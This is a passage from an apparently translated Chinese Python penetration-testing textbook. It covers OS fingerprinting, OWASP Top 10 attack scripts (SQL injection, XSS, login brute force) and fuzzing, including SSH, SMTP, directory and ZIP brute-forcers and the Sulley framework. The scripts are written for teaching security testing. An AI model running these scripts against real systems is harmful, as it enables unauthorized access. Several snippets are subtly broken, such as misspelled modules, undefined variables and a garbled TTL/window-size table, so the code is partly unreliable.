渗透测试中的常见过程是识别主机使用的操作系统。通常,这涉及到像 hping 或 Nmap 这样的工具,在大多数情况下,这些工具为了获取这样的信息而相当激进,并可能在目标主机上引发警报。OS 指纹主要分为两类:主动 OS 指纹和被动 OS 指纹。

主动指纹识别是发送数据包到远程主机并分析相应响应的方法。在被动指纹识别中,它分析来自主机的数据包,因此不会向主机发送任何流量,并充当嗅探器。在被动指纹识别中,它嗅探 TCP/IP 端口,因此可以避免被防火墙检测或停止。被动指纹识别通过分析 IP 头数据包中的初始生存时间TTL)以及 TCP 会话的第一个数据包中的 TCP 窗口大小来确定目标 OS。TCP 会话的第一个数据包通常是 SYN(同步)或 SYN/ACK(同步和确认)数据包。

以下是一些操作系统的正常数据包规格:

OS 初始 TTL TCP 窗口大小
Linux 内核 2.x 64 毫秒 5,840 千字节
Android / Chrome OS 64 毫秒 5,720 千字节
Windows XP 128 毫秒 65,535 千字节
Windows 7/ Server 2008 128 毫秒 8,192 千字节
Cisco 路由器(IOS 12.4) 255 毫秒 4,128 千字节
FreeBSD 64 毫秒 65,535 千字节

被动 OS 指纹识别不如主动方法准确,但它有助于渗透测试人员避免被检测到。

在指纹系统时另一个有趣的领域是初始序列号ISN)。在 TCP 中,对话的成员通过使用 ISN 来跟踪已看到的数据和下一个要发送的数据。在建立连接时,每个成员都将选择一个 ISN,随后的数据包将通过将该数字加一来编号。

Scrapy 可用于分析 ISN 增量以发现易受攻击的系统。为此,我们将通过在循环中发送一定数量的 SYN 数据包来收集来自目标的响应。

使用sudo权限启动交互式 Python 解释器并导入 Scrapy:

>>> from scrapy.all import *
>>> ans,unans=srloop(IP(dst="192.168.1.123")/TCP(dport=80,flags="S"))

在收集了一些响应后,我们可以打印数据进行分析:

>>> temp = 0
>>> for s,r in ans:
...     temp = r[TCP].seq - temp
...     print str(r[TCP].seq) + "\t+" + str(temp)

这将打印出用于分析的 ISN 值。

如果我们安装了 Nmap,我们可以使用 Nmap 的主动指纹数据库与 Scapy 一起使用,方法如下;确保我们已经配置了 Nmap 的指纹数据库conf.nmap_base

>>> from scapy.all import *
>>> from scapy.modules.nmap import *
>>> conf.nmap_base ="/usr/share/nmap/nmap-os-db" 
>>> nmap_fp("192.168.1.123")

此外,如果我们的系统上安装了p0f,我们还可以使用它来猜测 Scapy 的 OS:

>>> from scapy.all import *
>>> from scapy.modules.pof import *
>>> conf.p0f_base ="/etc/p0f/p0f.fp"
>>> conf.p0fa_base ="/etc/p0f/p0fa.fp"
>>> conf.p0fr_base ="/etc/p0f/p0fr.fp"
>>> conf.p0fo_base ="/etc/p0f/p0fo.fp"
>>> sniff(prn=prnp0f) 

获取图像的 EXIF 数据

我们可以从在线发布的图像中找到大量信息。对于我们用智能手机或相机拍摄的每张照片,它都记录了日期、时间、快门速度、光圈设置、ISO 设置、是否使用了闪光灯、焦距等等。这些信息存储在照片中,被称为EXIF数据。当我们复制一张图像时,EXIF 数据也会被复制,作为图像的一部分。这可能会带来隐私问题。例如,使用 GPS 启用的手机拍摄的照片,可以显示拍摄的位置和时间,以及设备的唯一 ID 号:

import os,sys 

from PIL import Image 

from PIL.ExifTags import TAGS 

for (i,j) in Image.open('image.jpg')._getexif().iteritems(): 

        print '%s = %s' % (TAGS.get(i), j) 

首先,我们导入了PIL图像和PIL TAGS模块。PIL是 Python 中的图像处理模块。它支持许多文件格式,并具有强大的图像处理能力。然后我们遍历结果并打印数值。

还有许多其他模块支持 EXIF 数据提取,比如ExifRead

Web 应用指纹识别

Web 应用指纹识别是安全评估信息收集阶段的主要部分。它帮助我们准确识别应用程序并找出已知的漏洞。这也允许我们根据信息定制有效载荷或利用技术。最简单的方法是在浏览器中打开网站并查看其特定关键字的源代码。同样,使用 Python,我们可以下载页面然后运行一些基本的正则表达式,这可以给你结果。

我们可以使用urllib/requests模块与 BeautifulSoup 或 lxml 结合下载网站,就像我们在本章讨论的那样。

总结

在本章中,我们讨论了下载和解析网站的可能方法。使用本章讨论的基本方法,我们可以构建自己的扫描器和网络爬虫。

在下一章中,我们将讨论更多使用 Python 的攻击脚本技术。

第四章:使用 Python 进行攻击脚本编写

开放式 Web 应用安全项目OWASP)十大是对最严重的网络应用安全风险的列表。在本章中,我们将讨论如何使用 Python 库编写 OWASP 十大攻击脚本:

  • 注入

  • 破坏的身份验证

  • 跨站脚本(XSS)

  • 不安全的直接对象引用

  • 安全配置错误

  • 敏感数据暴露

  • 缺少功能级访问控制

  • CSRF 攻击

  • 使用已知漏洞的组件

  • 未经验证的重定向和转发

注入

SQL 注入是攻击者可能创建或更改 SQL 命令以披露数据库中的数据的方法。这对于接受用户输入并将其与静态参数结合以构建 SQL 查询而没有适当验证的应用程序非常有效。

同样,所有类型的注入攻击都可以通过操纵应用程序的输入数据来完成。使用 Python,我们可以向应用程序注入一些攻击向量,并分析输出以验证攻击的可能性。Mechanize 是一个非常有用的 Python 模块,用于浏览网页表单,它提供了一个具有状态的编程式网络浏览体验。

我们可以使用mechanize来提交表单并分析响应:

import mechanize 
 # Import module 

# Set the URL 
url = "http://www.webscantest.com/datastore/search_by_id.php" 

request = mechanize.Browser() 

request.open(url) 

# Selected the first form in the page 
request.select_form(nr=0) 

# Set the Id  
request["id"] = "1 OR 1=1" 

# Submit the form 
response = request.submit() 

content = response.read() 

print content 

这将打印出 POST 请求的响应。在这里,我们提交一个攻击向量来破坏 SQL 查询,并打印表中所有数据而不是一行。在测试网站时,我们必须创建许多类似的自定义脚本来测试许多类似的攻击向量。

因此,让我们重写脚本,从文件中获取所有攻击向量,然后逐个发送到服务器,并将输出保存到文件中:

import mechanize 

# Set the URL 
url = "http://www.webscantest.com/datastore/search_by_id.php" 

browser = mechanize.Browser() 

attackNumber = 1 

# Read attack vectors 
with open('attack-vector.txt') as f: 

    # Send request with each attack vector 
    for line in f: 

         browser.open(url) 

   browser.select_form(nr=0) 

         browser["id"] = line 

         res = browser.submit() 

   content = res.read() 

      # write the response to file 
   output = open('response/'+str(attackNumber)+'.txt', 'w') 

   output.write(content) 

   output.close() 

   print attackNumber 

   attackNumber += 1 

我们可以检查请求的响应并识别可能的攻击。例如,前面的代码示例将提供包含句子“您的 SQL 语法有错误”的响应。从中,我们可以确定这种形式可能容易受到 SQL 注入攻击。之后,我们可以排除包含错误的响应,因为它们不会包含所需的数据。

此外,我们可以编写自定义脚本来注入 LDAP、XPath 或 NoSQL 查询、操作系统命令、XML 解析器和所有其他注入向量。

破坏的身份验证

当用于对应用程序进行用户身份验证的身份验证功能实施不正确时,可能会允许黑客破解密码或会话 ID,或利用其他用户的凭据来利用其他实施缺陷。这些类型的缺陷被称为破坏的身份验证。

我们可以使用机械化脚本来检查应用程序中的身份验证机制。

因此,我们必须检查账户管理功能,如账户创建、更改密码和找回密码。我们还可以编写定制的暴力和字典攻击脚本,以检查应用程序的登录机制。

我们可以生成包含一系列字符的所有可能密码,如下所示:

# import required modules
from itertools import combinations  

from string import ascii_lowercase 

# Possible password list 

passwords = (p for p in combinations(ascii_lowercase,8)) 

for p in passwords: 

    print ''.join(p) 

稍后,我们可以使用这些密码进行暴力攻击,方法如下:

import mechanize 

from itertools import combinations  

from string import ascii_lowercase 

url = "http://www.webscantest.com/login.php" 

browser = mechanize.Browser() 

attackNumber = 1 

# Possible password list 

passwords = (p for p in combinations(ascii_lowercase,8)) 

for p in passwords: 

    browser.open(url) 

    browser.select_form(nr=0) 

    browser["login"] = 'testuser' 

    browser["passwd"] = ''.join(p) 

    res = browser.submit() 

    content = res.read() 

    # Print  response code 

    print res.code 

     # Write response to file 

    output = open('response/'+str(attackNumber)+'.txt', 'w') 

    output.write(content) 

    output.close() 

    attackNumber += 1 

在这里,我们可以分析响应并确认登录。为此,我们必须搜索错误消息的响应。如果在响应中找不到错误消息,那么登录将成功。

在上面的例子中,我们可以检查是否被带回登录页面。如果我们被带回登录页面,登录失败:

    # check if we were taken back to the login page or not 

    if content.find('<input type="password" name="passwd" />') > 0: 

         print "Login failed" 

我们还可以修改此脚本以暴力破解可预测或不太随机的会话 cookie。为此,我们必须分析身份验证 cookie 的模式。我们还可以用字典中的单词替换密码。代码将与我们为注入所做的相同,攻击向量将被字典文件中提供的单词替换。

跨站脚本(XSS)

跨站脚本也是一种注入攻击类型,当攻击者注入恶意攻击向量以浏览器端脚本的形式时发生。这是在 Web 应用程序使用用户的输入来构建输出而不进行验证或编码时发生的。

我们可以修改用于注入 SQL 攻击向量的脚本以测试 XSS 注入。为了验证输出响应,我们可以在响应中搜索预期的脚本:

import mechanize 

url = "http://www.webscantest.com/crosstraining/aboutyou.php" 

browser = mechanize.Browser() 

attackNumber = 1 

with open('XSS-vectors.txt') as f: 

    for line in f: 

         browser.open(url) 

         browser.select_form(nr=0) 

         browser["fname"] = line 

         res = browser.submit() 

         content = res.read() 

         # check the attack vector is printed in the response. 
         if content.find(line) > 0: 

               print "Possible XXS" 

   output = open('response/'+str(attackNumber)+'.txt', 'w') 

   output.write(content) 

   output.close() 

   print attackNumber 

   attackNumber += 1 

XSS 发生在用户输入未经验证地打印到响应中。因此,为了检查 XSS 攻击的可能性,我们可以检查响应文本中我们提供的攻击向量。如果攻击向量在响应中出现而没有任何转义或验证,那么就有很高的可能性发生 XSS 攻击。

不安全的直接对象引用

当应用程序使用实际的引用标识符(ID)、名称或键来创建网页或 URL 时,且应用程序不验证用户访问请求页面的真实性时,就会发生这种漏洞。攻击者可能会更改 URL 中的参数以检测此类漏洞。

在应用程序中,用户的数据对另一个用户是不可访问的。检查以下脚本示例;它将遍历用户并检查数据是否对已登录用户可见:

import mechanize 

url = "http://www.webscantest.com/business/access.php?serviceid=" 

attackNumber = 1 

for i in range(5): 

    res = mechanize.urlopen(url+str(i)) 

    content = res.read() 

    #  check if the content is accessible 

    if content.find("You service") > 0: 

         print "Possible Direct Object Reference" 

    output = open('response/'+str(attackNumber)+'.txt', 'w') 

    output.write(content) 

    output.close() 

    print attackNumber 

    attackNumber += 1 

安全配置错误

为了更安全的应用程序,需要对其所有基础技术进行安全配置,如应用程序、Web 服务器、数据库服务器和操作系统。此外,我们需要保持所有软件保持最新。一些安全配置错误的示例如下:

  • 过时的软件

  • 服务器中存在示例应用程序或示例数据库

  • 启用导致数据泄露的目录列表,包括代码库

  • 未处理的错误页面,可能会泄露敏感信息

  • 适用或适用框架中的默认密码

  • 我们可以使用 Python 脚本来验证这些类型的漏洞。正如我们在前面的章节中讨论的那样,我们可以使用 Python 库发送精心制作的请求并分析它们的响应。

敏感数据暴露

我们可以编写定制的 Python 脚本来检查网页中可能的数据暴露。例如,我们在上一章中讨论了电子邮件收集脚本,也可以用来检查网页中是否有任何暴露的电子邮件 ID。

为此,我们必须编写一个脚本来检查我们正在寻找的模式的 HTTP 响应。敏感数据可能会根据网站及其用途而有所不同。但我们可以检查敏感信息的暴露,如信用卡、银行详细信息、个人身份识别号码等。

缺少功能级访问控制

Web 应用程序在向用户提供特定功能的访问权限之前会验证用户的功能级访问权限。这些访问控制检查也需要在服务器端进行验证。如果服务器端缺少这些类型的访问检查,攻击者可以在没有任何授权的情况下进入应用程序。为了检查这种类型的漏洞,我们可以创建自定义脚本来验证应用程序的低权限用户,并尝试访问受限页面。我们可以确保所有受限页面对于任何低权限用户都是不可访问的。

CSRF 攻击

跨站请求伪造CSRF)攻击欺骗受害者的浏览器在受害者登录时向易受攻击的应用程序发送操纵的请求。因此,应用程序应确保请求是合法的。

由于 CSRF 攻击是针对已登录用户的攻击,我们必须在请求中发送会话 cookie。我们可以使用cookielib在会话之间记住 cookie:

import mechanize 

cookies = mechanize.CookieJar() 

cookie_opener = mechanize.build_opener(mechanize.HTTPCookieProcessor(cookies)) 
mechanize.install_opener(cookie_opener)  

url = "http://www.webscantest.com/crosstraining/aboutyou.php" 

res = mechanize.urlopen(url) 

content = res.read()    

要测试 CSRF,我们必须从实际页面以外的页面提交表单。我们还可以检查 CSRF 令牌。如果表单中存在这样的令牌,操纵值并确保表单在错误的 CSRF 令牌下失败,并在每个请求上生成一个新的令牌。

使用已知漏洞的组件

当我们在应用程序中使用类似库、框架等组件时,如果没有进行适当的验证,就会出现这种类型的漏洞。这些组件可能始终在应用程序中以完全特权执行。因此,当应用程序中使用了一个有漏洞的组件时,这会让攻击者的工作变得更容易。我们可以编写一个 Python 脚本来检查应用程序中使用的组件的版本,并与开放源漏洞数据库OSVDB)进行验证,查看是否存在未修补的已知漏洞。

OSVDB 列出了几乎所有已知的库和框架漏洞。因此,我们必须确保我们使用的是最新的组件,并且已经应用了最新的补丁。

未经验证的重定向和转发

Web 应用程序经常将用户重定向到其他页面或外部网站。我们必须验证这些重定向页面和网站的可信度。如果重定向目标作为应用程序的参数传递,攻击者可以将用户引导到任何钓鱼或注入恶意软件的网页。我们可以编写一个 Python 脚本来验证应用程序中的所有外部链接。为了验证可信度,我们可以依赖于像 Google 安全浏览检查器或 McAfee 网站顾问这样的第三方服务。

提示

Google 安全浏览检查器可以在这里找到:www.google.com/transparencyreport/safebrowsing/diagnostic/index.html,而 McAfee 网站顾问可以在这里找到:www.siteadvisor.com/sites/

总结

我们已经讨论了攻击脚本的基本可能性。现在你可以根据自己的需求创建自定义脚本。在本章中,我们使用了 mechanize 进行脚本编写。我们也可以使用前几章讨论过的任何其他模块来满足需求。在下一章中,我们将更多地讨论模糊测试和暴力攻击。

第五章:模糊和暴力破解

安全测试人员最有用的工具之一是模糊测试工具,用于测试应用程序的参数。模糊测试在发现安全漏洞方面非常有效,因为它可以通过扫描应用程序的攻击面来发现弱点。模糊生成器可以测试应用程序的目录遍历、命令执行、SQL 注入和跨站脚本漏洞。

最好的模糊生成器是高度可定制的,因此在本章中,我们将学习如何构建可以用于特定应用程序的自己的模糊生成器。

本章涵盖的主题如下:

  • 模糊和暴力破解密码

  • SSH 暴力破解

  • SMTP 暴力破解

  • 暴力破解目录和文件位置

  • 暴力破解密码保护的 zip 文件

  • Sulley 模糊框架

模糊化

一般来说,模糊化过程包括以下阶段:

  • 识别目标:对于模糊化应用程序,我们必须确定目标应用程序。例如,具有特定 IP 并在端口 21 上运行的 FTP 服务器。

  • 识别输入:正如我们所知,漏洞存在是因为目标应用程序接受了格式不正确的输入并在未经过消毒的情况下进行处理。因此,我们必须确定应用程序接受的输入。例如,在 FTP 服务器中,用户名和密码是输入。

  • 创建模糊数据:在获取所有输入参数后,我们必须创建无效的输入数据发送到目标应用程序。模糊数据通常被称为有效载荷。

  • 模糊化:创建模糊数据后,我们必须将其发送到目标应用程序。

  • 监视异常和日志记录:现在我们必须观察目标应用程序的有趣响应和崩溃,并保存这些数据以进行手动分析。监视 Web 应用程序的模糊测试有点不同,因为模糊测试可能不会使目标应用程序崩溃。我们必须依赖错误消息和响应;确保记下任何此类意外响应以进行手动分析。有时应用程序可能会在错误消息中透露内部构建块。

  • 确定可利用性:模糊化后,我们必须检查有趣的响应或导致崩溃的输入。这可能有助于利用目标应用程序。并非所有崩溃都会导致可利用的漏洞。

模糊生成器的分类

基于目标、使用的攻击向量和模糊化方法,存在许多模糊化的分类。模糊化目标包括文件格式、网络协议、命令行参数、环境变量、Web 应用程序等。模糊化可以根据生成测试用例的方式进行广泛分类。它们是突变模糊化(转储)和生成模糊化(智能)。

突变(转储)模糊生成器

创建完全随机输入的模糊生成器称为突变或转储模糊生成器。这种类型的模糊生成器盲目地突变现有的输入值。但它缺乏可理解的数据格式或结构。例如,它可以替换或附加随机数据片段到所需的输入。

智能模糊生成器

生成模糊生成器从头开始创建输入,而不是突变现有输入。因此,它需要一定程度的智能,以生成对目标应用程序至少有些意义的输入。

与突变模糊生成器相比,这种类型将了解文件格式、协议等。此外,这种类型的模糊生成器难以创建,但更有效。

模糊和暴力破解密码

密码可以通过猜测或尝试使用每种可能的单词和字母组合来破解。如果密码很复杂,包括数字、字符和特殊字符的组合,可能需要几小时、几周或几个月。

字典攻击

从可能被用作密码的单词开始,测试所有可能的密码。这种方法与我们对注入所做的方法相同。

我们可以从字典文件中读取密码并在应用程序中尝试:

with open('password-dictionary.txt') as f: 
    for password in f: 
        try: 
                # Use the password to try login 

                print "[+] Password Found: %s" % password 
                break; 
        except : 
                print "[!] Password Incorrect: %s" % password 

在这里,我们读取字典文件并在我们的脚本中尝试每个密码。当特定密码有效时,它将在控制台中打印出来。

提示

您可以在这里下载整个模糊数据库列表:github.com/fuzzdb-project/fuzzdb

SSH 暴力破解

我们可以使用 Python 脚本来自动化暴力破解攻击以破解 SSH 登录。在这里,我们尝试多个用户名和密码以绕过 SSH 身份验证,使用自动化的 Python 脚本。对于 SSH 的暴力破解,我们必须使用一个名为paramiko的模块,它让我们连接到 SSH。

首先,我们导入所需的模块:

import paramiko, sys, os, socket  
import itertools,string,crypt  

然后我们初始化静态变量,如密码大小、目标 IP、目标端口和用户:

PASS_SIZE = 5 
IP = "127.0.0.1" 
USER = "root" 
PORT=22 

var = itertools.combinations(string.digits,PASS_SIZE) 

检查每个密码:

try: 
    for i in var: 
        passwd = ''.join(i) 

        ssh_client = paramiko.SSHClient() 
        ssh_client.load_system_host_keys() 
           ssh_clienth.set_missing_host_key_policy(paramiko.MissingHostKeyPolicy()) 
        try: 
            ssh.connect(IP , port=PORT, username=USER, password=passwd) 
            print "Password Found= "+passwd 
            break 
        except paramiko.AuthenticationException, error: 
            print "Faild Attempt: "+passwd 
            continue 
        except socket.error, error: 
            print error 
            continue 
        except paramiko.SSHException, error: 
            print error 
            continue 
        except Exception, error: 
            print "Unknown error: "+error 
            continue     
        ssh.close() 

except Exception,error : 
    print error  

我们可以使用线程模块使此脚本多线程化:

import paramiko, sys, os, socket, threading, time  
import itertools,string,crypt 

PASS_SIZE = 5 

def bruteforce_list(charset, maxlength): 
    return (''.join(candidate) 
        for candidate in itertools.chain.from_iterable(itertools.product(charset, repeat=i) 
        for i in range(1, maxlength + 1))) 

def attempt(Password): 

    IP = "127.0.0.1" 
    USER = "rejah" 
    PORT=22 

    try: 

        ssh = paramiko.SSHClient() 
        ssh.load_system_host_keys() 
        ssh.set_missing_host_key_policy(paramiko.MissingHostKeyPolicy()) 

        try: 
            ssh.connect(IP , port=PORT, username=USER, password=Password) 
            print "Connected successfully. Password = "+Password 
        except paramiko.AuthenticationException, error: 
            print "Incorrect password: "+Password 
            pass 
        except socket.error, error: 
            print error 
            pass 
        except paramiko.SSHException, error: 
            print error 
            print "Most probably this is caused by a missing host key" 
            pass 
        except Exception, error: 
            print "Unknown error: "+error 
            pass     
        ssh.close() 

    except Exception,error : 
        print error 

letters_list = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQSTUVWXYZ1234567890!@#$&()'  

在这里,我们使用线程来使模糊测试并行运行,以提高速度:

for i in bruteforce_list(letters_list, PASS_SIZE): 
    t = threading.Thread(target=attempt, args=(i)) 
    t.start() 
    time.sleep(0.3) 

sys.exit(0) 

SMTP 暴力破解

简单邮件传输协议SMTP)是网络上的电子邮件传输标准。电子邮件服务器和其他邮件传输代理使用 SMTP 来发送和接收电子邮件。电子邮件客户端应用程序通常仅使用 SMTP 发送电子邮件。要对 SMTP 进行暴力破解密码审计,我们可以使用smptlib模块,它可以帮助我们连接到 SMTP。

像往常一样,导入所需的模块:

import sys, smtplib, socket 
from smtplib import SMTP 

设置IPUSER。您也可以将这些值作为输入参数获取:

IP = "127.0.0.1" 
USER = "admin"  

检查 SMTP 中的每个密码列表中的密码:

attackNumber = 1 
with open('passwordlist.txt') as f: 
    for PASSWORD in f: 
         try: 
               print "-"*12 
               print "User:",USER,"Password:",PASSWORD 
               smtp = smtplib.SMTP(IP) 
               smtp.login(user, value) 
               print "\t\nLogin successful:",user, value 
               smtp.quit() 
               work.join() 
               sys.exit(2) 
         except(socket.gaierror, socket.error, socket.herror,
         smtplib.SMTPException), msg:  
               print "An error occurred:", msg 

暴力破解目录和文件位置

我们可以编写一个自定义的蜘蛛脚本来爬取目标网站,以发现有关 Web 应用程序的足够信息。然而,通常会有很多配置文件、剩余的开发文件、备份文件、调试脚本和许多其他文件,这些文件可以提供有关 Web 应用程序的敏感信息,或者公开一些开发人员没有打算公开的功能。

发现这种类型的内容的方法是使用暴力破解来追踪常见的文件名和目录。拥有我们自己的自定义脚本总是更好的,这将帮助我们自定义目标文件并根据我们的要求过滤结果。

首先,像往常一样,我们导入所需的模块。这里我们使用线程来并行运行多个请求。但是请确保保持线程数量较低;大量的线程可能会导致拒绝服务:

import urllib 
import urllib2 
import threading 
import Queue 

threads           = 50     # Be aware that a large number of threads can cause a denial of service!!! 
target_url        = "http://www.example.com" 
wordlist_file     = "directory-list.txt"  
user_agent        = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0" 

现在我们定义一个函数来读取单词列表文件并形成一个用于暴力破解的单词数组:

def wordlist(wordlist_file): 

    wordlist_file = open(wordlist_file,"rb") 
    raw_words = wordlist_file.readlines() 
    wordlist_file.close() 

    words        = Queue.Queue() 

    # iterating each word in the word file 
    for word in raw_words:       

        word = word.rstrip() 
        words.put(word) 

    return words  

接下来,我们将定义一个函数,用于使用单词列表中单词的可能扩展名来暴力破解 URL,检查文件扩展名的单词,如果不是文件,则添加额外的斜杠(/),并为每个单词创建一个可能扩展名和目录斜杠的尝试列表。创建尝试列表后,检查附加到提供的 URL 的尝试列表中的每个条目:

def dir_bruteforce(extensions=None): 

    while not word_queue.empty(): 
        attempt = word_queue.get() 

        attempt_list = [] 

        # check for a file extension, if not it's a directory 
        if "." not in attempt: 
            attempt_list.append("/%s/" % attempt) 
        else: 
            attempt_list.append("/%s" % attempt) 

        # if we want to bruteforce extensions 
        if extensions: 
            for extension in extensions: 
                attempt_list.append("/%s%s" % (attempt,extension)) 

        # iterate with list of attempts         
        for brute in attempt_list: 

            url = "%s%s" % (target_url,urllib.quote(brute)) 

            try: 
                headers = {} 
                headers["User-Agent"] = user_agent 
                r = urllib2.Request(url,headers=headers) 

                response = urllib2.urlopen(r) 

                if len(response.read()): 
                    print "[%d] => %s" % (response.code,url) 

            except urllib2.HTTPError,e: 
               # print output If error code is not 404 
                if e.code != 404: 
                    print "!!! %d => %s" % (e.code,url) 

                pass 

word_queue = wordlist(wordlist_file) 
extensions = [".php",".bak",".orig",".inc"]  

然后我们以线程模式启动暴力破解:

for i in range(threads): 
            t = threading.Thread(target=dir_bruteforce,args=(extensions,)) 
            t.start() 

暴力破解密码保护的 ZIP 文件

正如我们讨论的,可以使用相同的方法来破解受保护的 ZIP 文件中的密码。为此,我们使用zipfile模块:

import zipfile 

filename = 'test.zip' 
dictionary = 'passwordlist.txt' 

password = None 
file_to_open = zipfile.ZipFile(filename) 
with open(dictionary, 'r') as f: 
   for line in f.readlines(): 
         password = line.strip('\n') 
         try: 
               file_to_open.extractall(pwd=password) 
               password = 'Password found: %s' % password 
               print password 
         except: 
               pass 

Sulley 模糊测试框架

通过使用模糊测试框架,我们可以更快地创建模糊器。模糊测试框架提供了一个灵活和可重用的开发环境,有助于快速构建模糊器。

Sulley 是一个 Python 模糊测试框架,由多个可扩展组件组成,可用于模糊文件格式、网络协议、命令行参数等。Sulley 可以监视网络并系统地记录。它还可以监视目标的健康状况。

安装

Sulley 依赖于 PaiMei 和 pcapy。PaiMei 是一个逆向工程框架,用于调试模糊应用程序和pcap捕获数据包。

PaiMei 有很多依赖项,如提供 Python 数据库 API 的 MySQL 数据库服务器,wxPython,GraphViz,Oreas GDE,uDraw,pydot 和 ctypes。因此,我们必须首先安装这些依赖项。

在 Debian Linux 中,我们可以从apt-get存储库安装 pydot,ctypes,wxPython 和 GraphViz:

$ apt-get instal
l python-ctypeslib python-pydot python-wxgtk2.8 python-mysqldb python-pygraphviz

然后我们可以从www.openrce.org/downloads/details/208下载 PaiMei。

解压缩 zip 文件后,运行_install_requirements.py文件以安装其要求。之后,如果主机机器上没有安装 MySql 服务器,则安装 MySql 服务器:

 $ apt-get install mysql-server

然后,使用__setup_mysql.py文件配置 MySQL 服务器。为此,请使用以下 Python 脚本运行您的 MySQL 服务器凭据作为参数:

 $ python __setup_mysql.py hostname username password

然后通过运行设置脚本来安装 PaiMei,就像我们为其他 Python 模块所做的那样:

$ python setup.py build
$ python setup.py install

我们还需要安装pcapy库。要安装pcapy库,我们可以依赖于apt-get存储库:

 $ apt-get install python-pcapy python-impacket

现在我们已经安装了所有的先决条件。因此,我们可以克隆sulley库并使用它:

 $ git clone https://github.com/OpenRCE/sulley.git

然后进入sulley文件夹:

 $ cd sulley

要验证安装,请使用 Python 运行process_monitor.py脚本和network_monitor.py

$ sudo python process_monitor.py

输出如下:

安装

$ python network_monitor.py

输出如下:

安装

要在 Windows 上安装,就像在 Linux 上一样,首先安装先决条件。

要安装 PaiMei,请像在 Linux 上那样从链接下载并运行__install_requirements.py

 $ python __install_requirements.py

这将安装 PaiMei 的依赖项(ctypes,pydot,wxPython,MySQLdb,Graphviz,Oreas GDE 和 uDraw)。

然后,运行 MySQL 设置script.python __setup_mysql.py主机名用户名密码。

之后,通过运行构建和安装命令来安装 PaiMei 库:

$ python setup.py build
$ python setup.py install

然后我们需要下载并安装libdasm。从libdasm.googlecode.com/files/libdasm-beta.zip下载并运行设置。

然后,从pip安装pcapy

 $ pip install pcapy

现在,克隆sulley库:

 $ git clone https://github.com/OpenRCE/sulley.git

我们可以通过运行process_monitor_unix.pynetwork_monitor.py来检查安装。

提示

安装有任何问题吗?这是 Windows 的详细安装说明:github.com/OpenRCE/sulley/wiki/Windows-Installation

使用 sulley 进行脚本编写

在我们开始使用 sulley 编写模糊脚本之前,我们需要对将在 sulley 中使用的语法有基本的了解。当我们编写一个使用 sulley 模糊特定目标的 Python 脚本时,我们需要定义所有必需的对象。所有 sulley 命令都以s_前缀开头。以下是将用于构建脚本的几个部分:

  • 数据模型:定义我们将要模糊的协议的属性。

  • 状态模型:定义模糊网络协议不同状态之间的可能交互。例如,经过身份验证和未经身份验证的状态。

  • 目标:定义要模糊的目标。例如,服务器的 IP 和端口。

  • 代理:监视模糊进程崩溃,拦截相关网络数据包,重新启动崩溃的进程等的程序。这在目标计算机上运行。

  • 监视界面:帮助查看模糊处理的结果。

基元

要创建一个静态的不可变值,我们可以使用s_static()

要创建一个四字节的单词,我们可以使用s_int()。例如,创建以555开头并以 ASCII 格式化的变异整数:

s_int("555", format="ascii", fuzzable=True) 

块和组

原语可以嵌套在块内。这样的块可以以s_block_start()开始,并以s_block_end()结束。一个组是原语的集合;我们可以用s_group()开始一个组。一个静态组原语的示例列出了各种 HTTP 方法如下:

s_group("methods", values=["GET", "HEAD", "POST", "TRACE"])   

分组允许我们将块附加到组原语上,以指定该块应循环遍历所有可能的方式。我们可以通过块迭代这些静态 HTTP 方法如下。这定义了一个名为"body"的新块,并将其与前面的组关联起来:

if s_block_start(“body”, group=”method”)
 s_delim("/")
 s_string("index.html")
 s_delim(" ")
s_block_end()

会话

我们可以将多个请求绑定在一起形成一个会话。Sulley 能够通过在图中将请求链接在一起来模糊深入协议。Sulley 通过图结构,从根节点开始,沿途模糊每个组件。

现在我们可以编写一个脚本来模糊测试 SSH 连接。

首先,导入模块sulleyparamiko。确保脚本位于我们从 GitHub 下载的 sulley 程序的根目录中:

from sulley import * 
import sulley.primitives 
import paramiko 

然后,将用户名和密码设置为字符串原语。Sulley 提供s_string()原语来表示这些字段,以表示其中包含的数据是可模糊的字符串。字符串可以是任何东西,如电子邮件地址、主机名、用户名、密码等等。

user = primitives.string("user") 
pwd = primitives.string("password") 

然后,初始化 paramiko SSH 客户端以尝试连接到 SSH:

client = paramiko.SSHClient() 
client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 

接下来我们可以开始模糊测试:

while(user.mutate() and pwd.mutate()): 
   username = user.value 
   password = pwd.value 
   try: 
         # Try to connect to the server with the mutated credentials 
         client.connect("192.168.1.107", 22, username, password, timeout=5) 
         client.close() 
   except Exception,e: 
         print "error! %s" % e 

这将尝试变异用户名和密码,并尝试使用 paramiko 连接到服务器。

同样,我们可以对 FTP 协议进行模糊测试。在这里,我们从 requests 和 sulley 导入 FTP:

from sulley import * 
from requests import ftp 

现在,我们指示 sulley 在开始模糊测试之前等待横幅:

def recv_banner(sock): 
   sock.recv(1024) 

然后,我们初始化会话,这样可以跟踪我们的模糊测试。这使我们能够在先前离开的地方停止和重新开始模糊测试:

sess = sessions.session("ftp_test.session") 

现在我们可以使用目标 FTP 服务器的 IP 和端口号来定义我们的目标:

target = sessions.target("192.168.1.107",21) 

然后,我们可以指示网络嗅探器在同一主机上设置自己,并监听26300

target.netmon = pedrpc.client("192.168.1.107",26300)  

现在,设置目标并获取 FTP 横幅:

sess.add_target(target) 
sess.pre_send(recv_banner) 

尝试认证 FTP 连接:

sess.connect(s_get("user")) 
sess.connect(s_get("user"),s_get("pass")) 

认证后,我们可以使用需要认证的命令,如下所示:

sess.connect(s_get("pass"),s_get("cwd")) 
sess.connect(s_get("pass"),s_get("mkd")) 
sess.connect(s_get("pass"),s_get("rmd")) 
sess.connect(s_get("pass"),s_get("list")) 
sess.connect(s_get("pass"),s_get("delete")) 
sess.connect(s_get("pass"),s_get("port"))  

最后,指示 sulley 开始fuzz

sess.fuzz()  

提示

您可以在这里了解更多关于 sulley 及其用法:www.fuzzing.org/wp-content/SulleyManual.pdf

总结

我们已经了解了模糊测试和密码暴力破解的基本方法。现在我们可以扩展脚本以满足我们自己的需求。有许多模糊测试和暴力破解工具可用,但自定义脚本总是更好以获得我们特定的结果。我们将在下一章中更多地讨论使用 Python 库进行调试和逆向工程。

第六章:调试和逆向工程

调试器是逆向工程中使用的主要工具。使用调试器,我们可以在运行时执行分析以了解程序。我们可以识别调用链并跟踪间接调用。使用调试器,我们可以分析和监视程序运行时,以指导我们的逆向工程。在本章中,我们将学习如何在脚本中使用调试器。

